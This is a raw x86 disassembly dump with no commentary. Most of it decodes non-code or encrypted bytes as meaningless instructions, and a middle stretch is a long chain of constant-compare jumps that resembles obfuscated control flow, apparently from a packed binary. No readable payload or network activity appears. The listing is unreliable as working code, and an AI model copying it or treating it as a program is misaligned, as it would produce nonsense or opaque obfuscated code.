xchg edx, eax
jp 0x6e080371
test byte [edi], cl
sar byte [bx + si - 0x7a], cl
outsd dx, dword [esi]
and cl, bl
in eax, dx
adc ah, bh
mov dl, 0x65
mov al, 0x57
mov byte [0xddaaa513], al
adc al, 0x6f
fst qword [edi + ebp*2]
sbb eax, 0x4f70f751
jo 0x6e0803c2
xchg esi, eax
pop ds
dec ebp
adc eax, 0x1a17a253
and dh, byte [esi + 0x16]
xor dword [ebx + eax*4 + 0x3a], eax
cli
or al, byte [0xd9a88a18]
sar byte [edi + 0x58], cl
inc ecx
dec ebx
cwde
mov byte [edi], dh
je 0x6e0803c2
je 0x6e08040a
add al, byte [ebx - 0x25]
std
and byte [esi], dl
and ah, byte [ebx]
add al, 0xdc
clc
and eax, 0x63c5b892
jno 0x6e080341
loope 0x6e0803b7
int 0x94
invalid
cmp edx, dword [0xfb3b97a4]
cmp byte [ecx - 0x38], 0x52
inc edi
cli
pop ds
into
fcmovu st(0), st(5)
cmp eax, 0x7927381b
into
inc esp
jnp 0x6e0803ad
jg 0x6e0803a5
movsd dword es:[edi], dword [esi]
fild word [ebx]
loope 0x6e08036b
sub bl, byte [edx + ebp*4]
dec edx
loope 0x6e08039b
push ebx
int3
mov ah, 0x9f
mov ch, 0xa2
scasd eax, dword es:[edi]
and eax, 0xcc908151
test byte [edx - 0x1f9b2102], ch
xchg edi, eax
wait
inc esi
sbb dword [edx + 0x15], edi
sub eax, 0x25bf3987
enter 0x4520, 0x52
mov al, byte [0xea7c7324]
xchg edx, eax
sal byte [edx + ecx*2 - 0x114da284], cl
cli
xchg ebp, eax
mov dl, ch
arpl word [ebx - 0x5ea2f217], bx
or al, 0x2a
mov al, byte [0x3b742138]
sub dword [ecx], ecx
invalid
in eax, dx
mov cl, 0x56
add dword [ecx + edi*8], esi
dec ecx
cli
mov word [ecx - 0x48], ss
pushfd
in al, 0x93
aaa
jne 0x6e081b1b
invalid
pop ebx
push edx
xchg ebp, eax
lea edx, [esi - 0x16981a67]
xor cl, bl
cmp dh, cl
add eax, 0xf8129e2b
dec ebx
dec ebp
mov ecx, dword [edx + 0xe]
xor dword [eax + 0x1a], edx
mov ah, 0x87
out 0xe4, al
and eax, 0x2751416d
rol byte [eax + 0x409c122d], cl
enter 0x51df, 0xffffffffffffffd3
adc byte [ecx - 0x6943839d], ch
pop dx
cmp dword [edi + eax*8], 0x25
shr ch, 1
sub byte [ebx], ch
mov al, byte [0xbad9e886]
cmpsd dword [esi], dword es:[edi]
loop 0x6e081b60
xor al, 0x75
xchg ebx, eax
cmpsb byte [esi], byte es:[edi]
xor al, 0x8d
inc esp
push esp
push edi
inc ebp
insd dword es:[edi], dx
xlatb
mov ecx, 0xc1131e52
popal
push esp
test al, 0x44
hlt
push esi
ror dword [edx + 0x6a232042], 0x7a
and eax, edi
mov dword [0x813c0956], eax
mov ecx, 0xaa13c799
xchg ecx, eax
mov eax, 0xc5795d89
push cs
push ebp
feni8087_nop
pop ds
jecxz 0x6e083282
nop
dec eax
cmp eax, 0xbe50e36b
xchg byte [edx + 0x38], ah
sbb dword [ecx - 6], eax
inc ecx
cli
dec bx
pop ecx
sub byte [esi - 0x58], al
popfd
cmp eax, 0x82a3f36b
jno 0x6e0831ea
xor al, 6
insb byte es:[edi], dx
scasb al, byte es:[edi]
sar dword [esi - 0x4f], 0x90
int3
je 0x6e083276
pop ebp
push es
or ebx, dword [edx]
jb 0x6e083217
fisttp qword [edx + 0x69]
mov dh, 0xe0
dec ebx
invalid
sbb dword [ecx], 0xffffffde
pop ecx
scasb al, byte es:[edi]
jle 0x6e0832a4
cmp al, 0xd
bts dword [edi - 0x685b2dd], ebx
lahf
and ecx, dword [ebp + 0x7a]
stc
mov esp, dword [ebx - 0x5b]
add byte [ebx + 0x538c685d], 0x26
push ebx
dec edi
xchg edx, eax
mov bh, 0x88
sahf
add byte [edx - 0x5fdf6f4d], al
int 0x18
aam 0x4a
ret 0x35df
xor eax, 0x9215a219
invalid
and ch, byte [edx]
and al, 0x5d
or byte [edi + 0x73], dl
adc ebx, dword ds:[edx - 0x62d6e16c]
xor ch, byte [ebx + 0x5d9a685a]
invalid
add byte [eax], al
mov byte [edx], cl
sub eax, 0x2cb7bd2
push 0x692d65da
movsb byte es:[edi], byte [esi]
bound ecx, qword [0x7d7e3fbb]
loope 0x6e084972
insb byte es:[edi], dx
in al, 0x27
xor esi, dword [edx]
pop ds
add byte [edx], bh
dec edi
and bh, byte [ecx + ebp*8 - 0x56a51bc7]
and byte [ebp + 0x4025fd0e], ch
sbb dh, byte [edi + 0x59]
mov ebp, ecx
adc bh, ah
sar byte [ebx - 0x5c86b4c7], cl
jne 0x6e084a5b
fadd dword [edx + 0x22]
lea edx, [esi]
test al, 0x85
popfd
dec edx
xchg esi, eax
std
xchg ebp, eax
fld st(6)
pop edx
or esi, ecx
sti
or al, 0x5f
push edi
push cs
add eax, 0x177e4382
test dword [esi], 0xa10a9755
loope 0x6e0849ab
sbb byte [ebx - 9], ah
xor byte [ecx + 0x3acfa906], cl
movsb byte es:[edi], byte [esi]
das
push edx
mov eax, dword [0x6ccb6c69]
mov edx, esp
imul byte [ebx - 0x1d]
mov edi, dword [edi - 0x580ccaa9]
sahf
mov bl, 0x82
add dword [eax], edx
adc al, 0x40
wrmsr
add dword [esi + ecx*8 + 4], edx
cmp ah, byte [ebx + 0x34]
add bl, byte [esi - 0x3b4d12e6]
adc eax, 0x783d64e3
rcl byte [edx - 0x65324cda]
mov ebp, 0xa585d02f
cmc
retf 0xb6de
push esi
clc
mov ah, 0xf0
adc byte [edx], dl
aaa
lcall 0x62c2, 0x10f788bb
into
insb byte es:[edi], dx
int3
dec ebx
sahf
popfd
in al, 0xb1
int3
imul eax, eax, 0x79
mov al, 0xa5
ror byte [esi], 1
adc byte [eax + 0x44], dl
invalid
mov ebp, 0xd93d2d6f
sbb byte [ebx - 0x5d], 0x2c
pop ds
in al, 0xab
arpl word [edx], di
inc esp
je 0x6e08785b
sar byte [ecx - 0x75], 0x59
les esi, [ecx - 0x57]
jbe 0x6e0878a2
test eax, 0x966b4687
mov esp, 0x19367e70
cmp bh, byte [ebx - 0xc]
ret 0x490e
dec ecx
inc ebp
cmc
mov esi, 0x599fc0f6
inc eax
adc cl, al
mov edx, 0x7acf0ae1
sbb al, 0x60
mov byte [0xce5416b6], al
lodsb al, byte [esi]
not byte [edx]
jb 0x6e087813
and byte [ecx + edx*8], ch
ja 0x6e087885
mov cs, ebp
adc ebp, ebx
in al, dx
adc al, 0x49
add cl, byte [ecx]
into
sal dl, cl
mov ds, word [eax - 0x2e]
xchg ecx, eax
xchg esp, ecx
or byte [edx + 0x2903c028], 0xbb
mov eax, 0x69e9cc90
inc esi
add byte [eax], al
je 0x6e087832
pop eax
cmpsb byte ss:[esi], byte es:[edi]
int3
mov ecx, 0x3305e22
push 0x6e
xchg byte [ecx - 0x540ec0d2], ah
stosd dword es:[edi], eax
sbb dword [ecx + 0x33], ebp
scasd eax, dword es:[edi]
std
enter 0x7350, 0x4e
mov ebp, 0xfdc6bc67
or dword [edi - 0x70f45cb3], ecx
invalid
mov ebp, 0xd914fbde
fdivp st(3)
adc al, 0xd9
loop 0x6e089027
jbe 0x6e088fd6
test dword [ecx - 0x93cf202], eax
lea esp, [eax + 0x73]
lodsd eax, dword [esi]
mov cl, 0xab
jg 0x6e088fa3
cmp eax, 0x9ab12182
hlt
loopne 0x6e089071
popfd
out dx, eax
daa
add al, 0x32
pop es
push 0xb19269df
inc esp
outsb dx, byte [esi]
mov edi, 0x6a83a8db
sahf
sbb esp, dword [ebp - 7]
sub dword [edx - 0x62], 0x1b
stc
loope 0x6e089073
mov dword [0xb013ae38], eax
loopne 0x6e088fd7
dec ebx
mov ebp, 0xc20c7342
retf 0x2d58
mov al, byte [0x43c88f91]
xchg dword [esi + 0x30], edx
outsb dx, byte [esi]
test dword [ebx + 0x10], esp
les ebp, [ecx + 0x31cbe076]
sbb byte [ebp - 0x6a3ea3e2], bl
and bh, dl
cmp ecx, esp
sbb cl, byte [esi + 0x9cc688]
retf 0x33cd
invalid
mov edi, dword [eax]
loopne 0x6e08a787
invalid
mov ebp, 0x8a1a94e9
jne 0x6e08a78c
mov dword [0x47dedaa2], eax
int3
add byte [edx], al
mov al, byte [0xc2b9290a]
add ah, byte [eax - 0x3d46d6f6]
movsd dword es:[edi], dword [esi]
jae 0x6e08a72d
push es
or eax, 0xe960ecef
fdivr qword [esi]
test al, 0x25
cmp dword [esi - 0x6d], 0x9445a61e
jns 0x6e08a76f
and dword [esi - 0x7ee9ff89], ebx
outsb dx, byte [esi]
pop eax
int1
sbb al, 0x8c
shr dword [eax], 1
inc edx
jnp 0x6e08a7e0
salc
jecxz 0x6e08a82a
inc ecx
push es
cld
xor eax, 0x4783b303
jl 0x6e08a794
push esp
add dword [esp + ecx*2 - 0x3668ea61], ecx
mov ecx, 0xd4ce86b8
xchg ecx, eax
in eax, 0xa0
jnp 0x6e08a84d
outsd dx, dword [esi]
xchg esi, eax
jae 0x6e08a7b1
retf
test eax, 0xbfd0df33
jge 0x6e08a7af
test dword [esi + ebp*4], ebx
int1
int1
or edx, ebx
push edx
leave
cmp eax, 0xb8bdbb1
xchg dword [ebx + 0x5d], esp
lodsd eax, dword [esi]
shr esp, 1
sub dword [ebp + 0x27], esp
std
inc ebx
sbb dword [edi + 0x61], esp
ret 0x85c2
or eax, 0x527e9592
mov eax, 0xea533bcf
rol ebx, cl
aam 0x77
test eax, 0xe62a3493
sub esp, dword [ebp + 0x7360a65]
pop ebp
invalid
push ds
sar byte [ecx + 0x25], cl
inc esp
cdq
invalid
nop
jmp 0x6e08bf06
nop
mov dword [esp + 8], str.NIJaiXNlfo
mov dword [esp + 4], 0xb
lea eax, [ebp - 0x366]
mov dword [esp], eax
call fcn.6da3dfac
mov dword [ebp - 0x190], 0x439a8
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x198], 0x189c1
mov dword [ebp - 0x194], 0
mov eax, dword [ebp - 0x190]
mov edx, dword [ebp - 0x18c]
sub eax, dword [ebp - 0x198]
sbb edx, dword [ebp - 0x194]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x1a0]
xor eax, 0xee4f0
or eax, dword [ebp - 0x19c]
je 0x6e0ac888
mov edx, 0xee4f0
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0xcea7f
or eax, dword [ebp - 0x19c]
je 0x6e096880
mov edx, 0xcea7f
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0xbe118
or eax, dword [ebp - 0x19c]
je 0x6e09f550
mov edx, 0xbe118
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0xb75b2
or eax, dword [ebp - 0x19c]
je 0x6e092218
mov edx, 0xb75b2
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0xb0948
or eax, dword [ebp - 0x19c]
je 0x6e09aee8
mov edx, 0xb0948
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0xb0663
or eax, dword [ebp - 0x19c]
je 0x6e09ddd8
mov edx, 0xb0663
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x932c7
or eax, dword [ebp - 0x19c]
je 0x6e099770
mov edx, 0x932c7
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x852f2
or eax, dword [ebp - 0x19c]
je 0x6e0a8220
mov edx, 0x852f2
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x84ec1
or eax, dword [ebp - 0x19c]
je 0x6e0a5330
mov edx, 0x84ec1
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x7cd21
or eax, dword [ebp - 0x19c]
je 0x6e08f328
mov edx, 0x7cd21
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x73d36
or eax, dword [ebp - 0x19c]
je 0x6e097ff8
mov edx, 0x73d36
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x5b4d8
or eax, dword [ebp - 0x19c]
je 0x6e0ae000
mov edx, 0x5b4d8
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x55c18
or eax, dword [ebp - 0x19c]
je 0x6e08c438
mov edx, 0x55c18
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x4c9fc
or eax, dword [ebp - 0x19c]
je 0x6e095108
mov edx, 0x4c9fc
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x4bcab
or eax, dword [ebp - 0x19c]
je 0x6e0a9998
mov edx, 0x4bcab
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x4bb78
or eax, dword [ebp - 0x19c]
je 0x6e09c660
mov edx, 0x4bb78
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x4b5c6
or eax, dword [ebp - 0x19c]
je 0x6e0a3bb8
mov edx, 0x4b5c6
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x47531
or eax, dword [ebp - 0x19c]
je 0x6e0a2440
mov edx, 0x47531
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x446f4
or eax, dword [ebp - 0x19c]
je 0x6e0a6aa8
mov edx, 0x446f4
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x325de
or eax, dword [ebp - 0x19c]
je 0x6e0a0cc8
mov edx, 0x325de
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x2afe7
or eax, dword [ebp - 0x19c]
je 0x6e0af778
mov edx, 0x2afe7
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x2135f
or eax, dword [ebp - 0x19c]
je 0x6e090aa0
mov edx, 0x2135f
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0x1667f
or eax, dword [ebp - 0x19c]
je 0x6e0ab110
mov edx, 0x1667f
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x6e0af775
mov eax, dword [ebp - 0x1a0]
xor eax, 0xf9e
or eax, dword [ebp - 0x19c]
je 0x6e08dbb0
add byte [eax], al
mov eax, dword [ebp - 0x1a0]
xor eax, 0xc842
or eax, dword [ebp - 0x19c]
je 0x6e093990
jmp 0x6e0af775
outsd dx, dword [esi]
xor byte [eax - 0x53], bl
xchg edx, eax
jae 0x6e08c3ff
lahf
test byte [edx + 0x4f], ch
dec esp
adc edi, dword [eax - 0x53883719]
pop ebp
mov dword [esi + 0x32bf9977], ebx
scasb al, byte es:[edi]
sbb eax, 0xad95022a
daa
jl 0x6e08c41a
mov dl, 0x87
test al, 0xe3
cmpsb byte [esi], byte es:[edi]
pop ss
popfd
adc al, 0x8b
invalid
inc edx
sub dh, cl
fild dword [edi]
retf 0xbc8d
pop ss
adc bl, cl
dec ebx
adc al, 0x4b
sbb al, 9
dec eax
lea esi, [esi + 0x539e19ab]
lds dx, [eax - 0x42]
mov cl, cl
fmul qword [0x70d5fe3d]
idiv byte [edx + 0x2fad9ea8]
xchg edi, eax
das
fadd qword [ebx + 0x62303910]
push ecx
sub al, 0x86
push edx
insb byte es:[edi], dx
cmc
sbb dl, bh
call 0xb62c09a6
push 0x3f291e30
push edx
imul ebx, dword [0x58c93d3b], 0x6e
cmc
add dh, dh
sal dword [ebx], 0xed
invalid
mov ah, 0xd5
jl 0x6e090a75
retf 0x24df
fbld tbyte [edi + ecx*4]
out dx, eax
invalid
mov ecx, 0x10b85db
jo 0x6e090a9d
add al, 0x22
mov al, 0x5a
mov eax, dword [0x875ab6b9]
adc eax, 0xc569a816
test al, 0xe1
adc al, byte [edi]
lodsb al, byte [esi]
movsb byte es:[edi], byte [esi]
cwde
and esi, edx
loop 0x6e090a73
mov bl, 0x3b
nop
int3
cmp edx, dword [eax - 0x13261634]
in al, dx
add dword [eax], eax
aas
lcall 0x55a8, 0xde553bfe
ja 0x6e090a77
jg 0x6e090adf
cmp dword [ebx + 0xab5a536], ebp
jno 0x6e090b30
pushal
je 0x6e090a9e
push esp
in eax, dx
sub al, 0x7f
daa
or dl, dl
lahf
fcomp dword [edi - 0x63c8ca65]
push ebx
fld xword [edi]
outsd dx, dword [esi]
inc ecx
wait
xor eax, 0xdb539c37
outsd dx, dword [esi]
add byte [edi + 0x41], ch
pushal
into
in eax, dx
nop
jle 0x6e090a98
pop ss
or eax, 0x536556af
dec ecx
push 0xd38f29b7
xchg edx, eax
mov bh, 0x29
invalid
cmp al, 0x8b
sbb al, 0xaa
xchg ebx, eax
loop 0x6e090ac1
jns 0x6e090a6e
push 0xa8293a62
mov dl, byte [edi]
cmp dword [esi - 0x29], 0x2d366309
in eax, 3
and eax, 0x309aceb9
xchg dword [ebp + 0x2c], esi
shl dword [ebp + 0x31], 0x27
test eax, 0x5240a90e
push edx
cmc
xchg esp, eax
mov esp, 0xa54b7c48
push ecx
outsd dx, dword [esi]
fsub qword [esi - 0x3f]
sbb eax, 0xd21cb1d5
mov ecx, 0x50078414
mov esp, fs
hlt
push ecx
push 0xffffffffffffffbe
dec edi
adc byte [ebx], dh
or edx, dword [edx]
mov bh, 0xda
and edx, edi
std
push 0xbc10ad79
xlatb
loop 0x6e090b7c
std
test eax, 0xcb9adfe
shl byte [eax], 1
cmpsb byte [esi], byte es:[edi]
outsd dx, dword [esi]
jle 0x6e090ada
neg dword [esi - 0x47]
mov ch, 0xf7
or dword [edi + 0x12], edx
lcall 0x76f6, 0x7b49929b
div dword [ecx + 0x7d]
out dx, eax
xor al, 0x43
sbb byte [ebx - 0x13], bl
mov dl, 0x18
add byte [edx - 0x70], 0xcc
jo 0x6e090b63
push edi
fld xword [edi + 0x48]
jp 0x6e090b08
lcall 0x1fe0, 0xf954c89a
stc
loopne 0x6e090b9e
dec eax
xor al, 0xcc
arpl word [ecx - 0x52], cx
sub dword [ebx], ebp
push edi
mov dl, 0x70
aaa
aam 0xe6
clc
xor al, cl
sti
mov dl, 0x83
clc
mov dword [0x3518b5b], eax
mov edx, dword [ecx + 3]
inc esp
xor ah, byte [esi + 0x493af6ce]
cmc
cmp cl, byte [ecx - 0xb]
pop ds
and al, 0x2c
out dx, eax
pop ebp
lodsd eax, dword [esi]
jno 0x6e090b96
lcall 0x485d, 0x432fa409
lodsb al, byte [esi]
fdivr qword [edx + 0x751b46c1]
fnstenv [esi - 0x2de27458]
movsb byte es:[edi], byte [esi]
and ch, cl
enter 0x4a3e, 0xffffffffffffffb5
add ebx, dword [edx]
mov dword [eax - 0x46437d85], esp
or al, 0x49
push es
dec edx
mov esp, 0xb017b39c
jno 0x6e090b77
out 0xdc, eax
fldenv [eax]
shr dword [ecx + eax*2], 1
mov al, 0xd6
cld
xor al, 0xa3
out dx, al
inc ebx
or al, 0x4c
invalid
sal dword [ecx + esi*8 + 0x497ff305], 1
int 0xb1
push edi
push ecx
pop es
sahf
enter 0x1c36, 0xa
inc byte [esi - 0x2ae428cb]
inc edx
not bl
xor bl, byte [edx]
or edi, dword [esi - 0x46]
and byte [edi + 0x69e1d47e], dh
outsb dx, byte [esi]
ljmp 0x8fa4
js 0x6e092235
sub dword [esi + 0x6cc0f2e], 0x4013b239
pop ds
mov ecx, 0x5da4598d
bswap esp
push es
cmp dword [edx - 0x46e0bfed], esi
lea ebx, [ecx - 0x5c]
pop ebp
push es
mov eax, 0xe2971c5f
or eax, 0x76b093f8
fist word [ebx]
mov cs, edi
js 0x6e09226a
jne 0x6e09221d
pop ebx
push ecx
neg dword [esi - 0x3b1fc99a]
mov ebx, 0x9653309e
push 0xffffffffffffffa5
ja 0x6e0921e0
dec eax
mov dl, 0x1a
sahf
xchg esp, eax
rcr dword [esi], 1
retf
shrd dword [edi - 0x16], ebx, cl
mov dword [0x805cf40b], eax
cmp esi, eax
in al, 0x6f
sbb dword [ecx - 0x272e7575], ebx
mov eax, 0x8d4480e
xchg ecx, eax
insd dword es:[edi], dx
mov ebp, 0xc8f77028
add dword [ebp + 0x22], ebp
add al, cl
mov edi, 0x4f490c9e
int3
inc ebx
neg ebp
mov edx, esi
pop esi
push cs
fild dword [eax]
and ah, byte [ebx - 0x20]
hlt
cmpsb byte [esi], byte es:[edi]
outsb dx, byte [esi]
inc eax
bound ecx, qword [ecx + ebp - 0x32]
mov cl, 0xad
out 0x58, eax
cmpsb byte [esi], byte es:[edi]
ljmp 0xe99
push esp
sti
inc ebp
pushal
mov ah, 0x7c
adc dword [edx - 0x314e6abf], ebx
mov al, al
dec esi
or al, 0x61
frstor dword [esi - 0x4e]
inc edx
sbb eax, 0x78988122
rep insd dword es:[edi], dx
jbe 0x6e0950c1
mov cl, 0x8a
adc eax, 0x669cdb72
adc bl, bh
outsd dx, dword [esi]
ja 0x6e095181
invalid
jg 0x6e0951ba
mov cl, 0x3f
mov dl, 0xb5
xchg edx, eax
outsd dx, dword [esi]
retf
ljmp 0x93b4:0xa98652f5
ja 0x6e0951b8
xor eax, 0x26dbd7bb
inc edx
or byte [ebp - 0x44423990], ah
in eax, 0x90
fld xword [ebx + eax*8 - 0x7f9454ec]
jnp 0x6e09513c
jnp 0x6e09516b
lds edi, [edi - 0x24116bfc]
sub al, 0xe2
mov dh, 0xe1
cmp bl, byte [ecx - 0x22]
cmc
push esi
invalid
xor eax, 0x8b944c0f
invalid
dec esp
xchg esp, eax
mov ecx, dword [ebp + 0x7435cecd]
retf
popfd
mov byte [0x4ba2d0a2], al
invalid
xor bh, ah
int1
scasd eax, dword es:[edi]
mov ah, 0xbc
inc edi
mov edx, 0x39a2c420
fimul dword [ebp + 7]
sub dword [edi + 0x47], 0xffffffe7
retf
jne 0x6e097f92
dec edi
bound ecx, qword ds:[0xc234741d]
and eax, 0x5ea46e48
insd dword es:[edi], dx
mov bl, cl
dec esp
aaa
pop eax
pop esp
invalid
aaa
mov cl, byte [edx + 0x30]
invalid
scasb al, byte es:[edi]
dec esp
jne 0x6e099728
out dx, al
js 0x6e0997c4
rol dword [edx + edi*4 + 0x11], 1
mov esi, 0xebc987ac
test eax, 0x11562805
push ebp
das
movsb byte es:[edi], byte [esi]
test byte [esi + edx*4 - 0x5b], ch
sti
dec ecx
invalid
or al, al
aas
pop esp
mov dh, 0x5a
cmp eax, 0x3cef8f00
aam 0x63
cmc
xlatb
popal
mov byte [edx + 0xfd9bda8], bh
les edi, [edi]
lodsd eax, dword [esi]
hlt
push edi
adc eax, 0x22293b19
sbb dword [ebx], edi
sub dword [edx], esp
imul esi, dword [ebx + 0x76], 0xffffff8f
je 0x6e09aeea
xlatb
mov edi, dword [esi + ebx + 0x7c]
test dword [ebp - 0x4564baf6], 0x18b6a9f1
mov ah, byte [ecx - 0x6f085e87]
xchg esp, eax
xchg edx, ecx
popal
out dx, eax
hlt
xchg esi, eax
invalid
test al, 0x95
imul byte [eax - 0x7a12d8c2]
popal
adc ch, byte [edi]
lodsb al, byte [esi]
cmp eax, dword [edi + 0x26dee7a2]
cli
invalid
invalid
mov ebp, 0xee5daeb
pop es
in eax, 0xab
loop 0x6e09f525
outsd dx, dword [esi]
invalid
aaa
invalid
mov ah, 0x36
mov byte [0xcf4f6e03], al
pop esi
test eax, 0x498ef0cb
and ch, al
or al, 0xce
cmp eax, 0xc7187972
mov al, 0xcd
cdq
mov ch, 0x22
add dword [edx], ebx
sub dh, bh
bound esi, qword [ebx - 0x46]
or byte ds:[eax + 0x7a], 0xcd
in al, dx
aaa
xchg ecx, eax
nop
invalid
invalid
push ss
inc eax
ljmp 0x716f
bound ebx, qword [ebx]
sti
mov dl, 0x7d
and edx, ecx
dec ecx
cmp ebp, dword [ebp + edi*4 + 7]
and eax, 0xb8eb8625
aad 0xe8
stc
out dx, al
fmul st(0), st(0)
and bh, dl
cmp eax, 0xe145a750
pop ecx
stosd dword es:[edi], eax
outsb dx, byte [esi]
in eax, dx
add al, 9
sahf
sbb dl, bh
int1
salc
int 0x5b
call 0x422974f0
fldenv [esi + 0x6c]
cmp dh, bl
adc byte [esi + 0x1d], ah
xchg edx, eax
scasb al, byte es:[edi]
daa
inc eax
inc ecx
lahf
dec edx
or byte [ecx + 0xc21d54b], cl
nop
mov dword [0xf34b655f], eax
test ch, bh
and dword [esp + ecx*2 + 0xb325494], edi
popal
lds ebp, [esi - 0x1e1fefd0]
stosd dword es:[edi], eax
dec ebp
jg 0x6e0a6ad0
xor al, 0x46
loopne 0x6e0a6b0c
cmp byte [esi - 0x20], bh
jbe 0x6e0a6b2e
dec edx
lar ecx, word [ebx]
pop ebx
sub dh, 0xf3
cdq
lea edi, [eax + 0x2d]
invalid
int3
invalid
aaa
inc esp
xor al, byte [ecx + 0x7b]
mov al, bh
stosd dword es:[edi], eax
add cl, byte [eax - 3]
ret 0x9b02
dec ebp
adc ah, byte [ecx - 0x71]
sar dword [edi + 0x1e], 0x5a
out dx, eax
jg 0x6e0ab065
nop
int3
in eax, 0x65
sub al, 0x6c
stc
rcl byte [ecx + 0x4106d123], cl
mov ch, 0xe
add byte [ebx + 0x55], 0x19
invalid
cmp ecx, dword [ebx - 0x66875530]
mov esp, dword [ecx + 0x2e]
jecxz 0x6e0ab02e
scasb al, byte es:[edi]
xchg ecx, eax
and al, 0x84
invalid
in al, 0xe5
leave
push ebx
and dh, byte [edi - 0xf]
and ch, al
mov esp, 0xfbd7c156
xor dl, byte [edi - 0x6b3b7760]
dec eax
test byte [ebx], bl
retf
sbb al, 0x28
jp 0x6e0ab0a1
cmp eax, 0x8ac0f017
jb 0x6e0ab0de
push ebp
stosd dword es:[edi], eax
sahf
pop ds
sub dword [esi], edx
ret 0x612f
inc edx
cmc
or ch, cl
in al, dx
mov edx, 0xde4f1c3b
inc ebp
sahf
xchg edi, eax
xchg edi, eax
iretd
jae 0x6e0ac743
int3
push eax
pop eax
shl eax, 1
mov ebp, 0xaccd554b
jbe 0x6e0ac7b1
sub cl, byte [esi + 0x2e]
mov eax, dword [0x85b67dfc]
ja 0x6e0ac80d
out dx, eax
mov edx, 0x41959f6
push cs
dec esp
out dx, eax
stosb byte es:[edi], al
scasd eax, dword es:[edi]
xor ch, cl
in eax, dx
cmp ah, byte [eax]
ret
xchg edi, eax
lds ebp, [esi]
mov ah, 0x23
sub bl, byte [eax + ebx*8 + 0x247312f7]
sti
mov ch, 0x33
fst qword [edx]
xchg edx, eax
inc esi
in al, dx
xchg ebx, eax
push es
jnp 0x6e0ac80c
clc
aaa
bound eax, qword [ecx - 0x3c]
inc ebx
sub ecx, ecx
ror byte [ebx + ebx*8 - 0x174291e4], 0xbf
imul edx, dword [esi], 0xffffffb3
stosd dword es:[edi], eax
out dx, al
dec eax
lahf
out dx, al
je 0x6e0ac8dc
sub ebx, eax
popfd
outsb dx, byte [esi]
sbb dword [eax + esi - 0x70], ebp
int3
stc
pop esp
not dword [ebp - 0x4a]
clc
inc byte [edx + edx*2]
mov ecx, 0x6df8b0c3
or dword [ebp + 0x57], ebp
in al, 0x20
pop ebp
and eax, dword [bx + 0x12]
das
pushal
mov bh, 0x46
lodsd eax, dword [esi]
sahf
nop
mov esp, 0x120f4429
pop ds
arpl word [edi], bp
push eax
cdq
jge 0x6e0ac847
cmpsd dword [esi], dword es:[edi]
wait
rcr byte [esi], cl
push edx
ljmp 0x68f9
mov dword [0x7e81ad79], eax
xor dword [edx], ebp
lodsd eax, dword [esi]
mov bh, 5
adc al, 0xbe
pop esp
retf
jle 0x6e0ae03f
test esp, eax
mov eax, dword [ebp - 0x58d7cef2]
cld
pop ebx
